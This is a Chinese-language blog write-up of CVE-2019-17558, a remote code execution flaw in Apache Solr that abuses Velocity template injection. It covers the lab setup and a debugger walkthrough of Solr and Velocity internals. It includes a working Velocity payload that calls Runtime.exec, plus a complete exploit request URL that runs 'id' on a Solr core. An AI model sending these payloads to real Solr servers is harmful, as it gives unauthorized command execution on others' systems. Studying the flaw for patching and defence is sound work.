Apache Solr 远程代码执行漏洞浅析(CVE-2019-17558)

2020-12-18 10,645

简介

Solr 是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。

Solr是用Java编写、运行在Servlet容器(如Apache Tomcat或Jetty)的一个独立的全文搜索服务器。 Solr采用了Lucene Java搜索库为核心的全文索引和搜索,并具有类似REST的HTTP/XML和JSON的API。

Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。


Apache Velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。

选择和Apache Solr中使用的相同的velocity-engine-core 2.0

image-20201015120602470.png

pom.xml依赖中添加maven坐标引入:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core -->
<dependency>
   <groupId>org.apache.velocity</groupId>
   <artifactId>velocity-engine-core</artifactId>
   <version>2.0</version>
</dependency>


基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set#if#else#end#foreach#end#include#parse#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#*  .............  *#

逻辑运算

== && || !

条件语句

if/else为例:

#if($foo<10)
   <strong>1</strong>
#elseif($foo==10)
   <strong>2</strong>
#elseif($bar==6)
   <strong>3</strong>
#else
   <strong>4</strong>
#end

单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

#set ($var="aaaaa")
'$var'  ## 结果为:$var
"$var"  ## 结果为:aaaaa

属性

通过.操作符使用变量的内容,比如获取并调用getClass()

#set($e="e")
$e.getClass()

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$


基础使用

使用Velocity主要流程为:

  • 初始化Velocity模板引擎,包括模板路径、加载类型等

  • 创建用于存储预传递到模板文件的数据的上下文

  • 选择具体的模板文件,传递数据完成渲染


test.java

package Velocity;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

import java.io.StringWriter;

public class test {
   public static void main(String[] args) {
       VelocityEngine velocityEngine = new VelocityEngine();
       velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
       velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
       velocityEngine.init();


       VelocityContext context = new VelocityContext();
       context.put("name", "Rai4over");
       context.put("project", "Velocity");


       Template template = velocityEngine.getTemplate("test.vm");
       StringWriter sw = new StringWriter();
       template.merge(context, sw);
       System.out.println("final output:" + sw);
   }
}

模板文件src/main/resources/test.vm

Hello World! The first velocity demo.
Name is $name.
Project is $project

输出结果:

final output:Hello World! The first velocity demo.
Name is Rai4over.
Project is Velocity

通过VelocityEngine创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为file,最后通过velocityEngine.init()完成引擎初始化。

通过VelocityContext()创建上下文变量,通过put添加模板中使用的变量到上下文。

通过getTemplate选择路径中具体的模板文件test.vm,创建StringWriter对象存储渲染结果,然后将上下文变量传入template.merge进行渲染。


RCE

修改模板内容为恶意代码,通过java.lang.Runtime进行命令执行

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")

org.apache.velocity.app.VelocityEngine

image-20200807165244627.png

引擎初始化时构造函数什么也没做,但是会调用RuntimeInstance,接着调用setProperty设置路径等参数。

org.apache.velocity.app.VelocityEngine#setProperty

image-20200807165721404.png

ri就是前面的RuntimeInstance实例,跟进setProperty方法

org.apache.velocity.runtime.RuntimeInstance#setProperty

image-20200807165914031.png

调用setProperty(key, value)设置键值对,最后引擎对象init()后为:

image-20200807175900853.png

org.apache.velocity.VelocityContext#VelocityContext()

image-20200807193518812.png

继续调用有构造参数

org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)

image-20200807193633231.png

this.context被赋值为空的HashMap(),上下文变量创建完成。

org.apache.velocity.context.AbstractContext#put

image-20200807200722703.png

调用internalPut函数

org.apache.velocity.VelocityContext#internalPut

image-20200807200742414.png

调用put存入hashMap中,返回上层调用模板引擎对象getTemplate加载模板文件

org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)

image-20200807201557861.png

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)

image-20200807201610926.png

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)

image-20200809101357249.png

步步跟进套娃的getTemplate方法,然后调用getResource方法

org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)

image-20200809102301739.png

这里首先会使用资源文件名test.vm和资源类型1进行拼接为资源键名1test.vm,然后通过get方法判断1test.vm资源名是否在ResourceManagerImpl对象的globalCache缓存中,

org.apache.velocity.runtime.resource.ResourceCacheImpl#get

image-20200809102845558.png

然后进一步判断ResourceCacheImpl对象的cache成员并返回判断结果。

image-20200809101858215.png

如果资源1test.vm被缓存命中则直接加载,如果globalCache缓存获取失败则调用loadResource函数加载,加载成功后也同样会根据1test.vm资源键名放入globalCache以便下次查找。

org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource

image-20200809104214451.png

根据资源名称、类型通过createResource生成资源加载器,然后调用process()从当前资源加载器集中加载资源。

org.apache.velocity.Template#process

    public boolean process()
       throws ResourceNotFoundException, ParseErrorException
   {
       data = null;
       InputStream is = null;
       errorCondition = null;

       /*
        *  first, try to get the stream from the loader
        */
       try
       {
           is = resourceLoader.getResourceStream(name);
       }
       catch( ResourceNotFoundException rnfe )
       {
           /*
            *  remember and re-throw
            */

           errorCondition = rnfe;
           throw rnfe;
       }

       /*
        *  if that worked, lets protect in case a loader impl
        *  forgets to throw a proper exception
        */

       if (is != null)
       {
           /*
            *  now parse the template
            */

           try
           {
               BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
               data = rsvc.parse( br, name);
               initDocument();
               return true;
           }

getResourceStream(name)获取命名资源作为流,进行解析和初始化

image-20200809113403551.png

最后将解析后的模板AST-node放入data中并层层返回,然后调用template.merge进行合并渲染。

org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)

image-20200809113839546.png

org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)

image-20200809114004565.png

这里是上面提到的ASTprocess类的data,并调用render进行渲染

org.apache.velocity.runtime.parser.node.SimpleNode#render

image-20200809114132005.png

node通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)


环境搭建

漏洞环境的关键点:

  • Apache Solr version 8.2.0

  • Apache Ant(TM) version 1.9.15

  • JDK,java version "1.8.0_112"

  • IDEA DEBUG


首先下载Apache Solr,选择版本为存在漏洞的8.2.0,链接地址为:

https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0-src.tgz

解压后得到源码,接着需要使用ant工具构建以供IDEA使用。


操作系统为OSX,使用brew安装ant,并且不要使用最新版(构建会存在BUG)且需要指定版本为1.9

brew install ant@1.9 && brew link --force ant@1.9

校验ant安装结果

~/Desktop ant -version 
Apache Ant(TM) version 1.9.15 compiled on May 10 2020

接着开始构建solr

cd solr-8.2.0
ant ivy-bootstrap
ant idea
cd solr
ant server

速度会很慢,最好能科学上网,每次ant构建都成功的话提示BUILD SUCCESSFUL


回到构建好的源码根目录,修改执行权限后即可运行。

cd solr/bin/
chmod 777 solr

生成测试数据并启动:

./solr -f -e dih

得到测试数据路径后为:

/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr

关闭solr

./solr stop -p 8983

设置jdwp远程调试后重新开启solr

/solr start -a  "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr"

导入将构建后源码导入IDEA,并设置远程调试如下:

image-20201009161645384.png

org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)

image-20201009162428327.png


漏洞复现

首先需要能够访问目标Apache Solr,未做鉴权设置或者猜解进入solr应用系统。

通过API获取所有的核心:

http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

image-20201015132358336.png

可以发现示例数据有多个核心,但并非全部的核心都能利用,需要对核心的进行配置。

solr为例,配置文件的位置为:

/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/solrconfig.xml

QueryResponseWriterSolr插件,可以定义任何请求的响应格式.

漏洞的触发需要solr核心配置并使用velocity插件

<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
 <str name="template.base.dir">${velocity.template.base.dir:}</str>
</queryResponseWriter>

没有配置velocity插件的核心无法触发漏洞。


velocity插件的params.resource.loader.enabled选项默认情况下没有打开,无法使用自定义模板,首先需要通过请求打开该选项。

image.png

image-20201015160953846.png

修改配置的请求时间会比较久,请求如果不为200并报错,则可能是该核心没有配置velocity插件,需要更换其他核心进行尝试利用漏洞。

使用自定义模板注入并进行远程命令执行

http://localhost:8983/solr/solr/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image-20201015162058661.png


漏洞分析

漏洞触发分为两步

开启自定义模板

org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)

image-20201015165130152.png

将请求对象request、响应对象response传入参数不同的doFilter

org/apache/solr/servlet/SolrDispatchFilter.java:420

image-20201015165420774.png

创建HttpSolrCall对象,最终call对象中的成员的存储情况如下:

image-20201015165831434.png

继续跟进call方法。

org/apache/solr/servlet/HttpSolrCall.java:566

image-20201015170434806.png

这里根据action进行开关选择,进入PROCESS分支,创建SolrQueryResponse对象,然后传入execute方法。

org.apache.solr.servlet.HttpSolrCall#execute

image-20201015170645492.png

solrReq.getCore()返回成员中的SolrCore对象,并传入SolrConfigHandler类的hanler成员并调用execute方法。

org.apache.solr.core.SolrCore#execute

image-20201015172414070.png

跟进handler.handleRequest函数

org.apache.solr.handler.RequestHandlerBase#handleRequest

image-20201015172953972.png

org.apache.solr.handler.SolrConfigHandler#handleRequestBody

image-20201015173024633.png

这里解析POST请求,并进入对应的command.handlePOST

org.apache.solr.handler.SolrConfigHandler.Command#handlePOST

image-20201015193400449.png

通过CommandOperation.readCommands得到ops以及相同的opsCopy

image-20201015193805084.png

继续跟进handleCommands函数


org/apache/solr/handler/SolrConfigHandler.java:480

image-20201015200727542.png

首先是updateNamedPlugin函数生成overlay

org.apache.solr.handler.SolrConfigHandler.Command#updateNamedPlugin

image-20201015201418852.png

org.apache.solr.handler.SolrConfigHandler.Command#verifyClass

image-20201015201443497.png

org.apache.solr.core.SolrCore#createInitInstance

image-20201015201505873.png


org.apache.solr.response.VelocityResponseWriter#init

image-20201015201532076.png

一路跟进到VelocityResponseWriter对象的初始化,自定义选项已经开启。

image-20201015203500093.png


org/apache/solr/handler/SolrConfigHandler.java:504

image-20201015194505360.png

overlay.toByteArray()转换为JSON格式然后传入SolrResourceLoader.persistConfLocally


org.apache.solr.core.SolrResourceLoader#persistConfLocally

image-20201015195853547.png

JSON配置数据写入本地且路径为

/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/configoverlay.json

此时的调用栈为:

persistConfLocally:890, SolrResourceLoader (org.apache.solr.core)
handleCommands:504, SolrConfigHandler$Command (org.apache.solr.handler)
handlePOST:345, SolrConfigHandler$Command (org.apache.solr.handler)
access$100:159, SolrConfigHandler$Command (org.apache.solr.handler)
handleRequestBody:137, SolrConfigHandler (org.apache.solr.handler)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2578, SolrCore (org.apache.solr.core)
execute:780, HttpSolrCall (org.apache.solr.servlet)
call:566, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)

velocity模板注入

前面的流程和上面比较相似,直接看触发模板注入的位置

org/apache/solr/servlet/HttpSolrCall.java:580

image-20201015221012880.png

首先获取前面开启params.resource.loader.enabled选项的QueryResponseWriter对象,接着传入writeResponse函数。

org.apache.solr.servlet.HttpSolrCall#writeResponse

image-20201015222334657.png

接着调用QueryResponseWriterUtil.writeQueryResponse

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

image-20201015222542120.png

org.apache.solr.response.VelocityResponseWriter#write

image-20201015222628514.png

完成命令执行,此时的调用栈为:

write:150, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:873, HttpSolrCall (org.apache.solr.servlet)
call:582, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)


参考

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://paper.seebug.org/1107/#43-poc



本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/149634.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号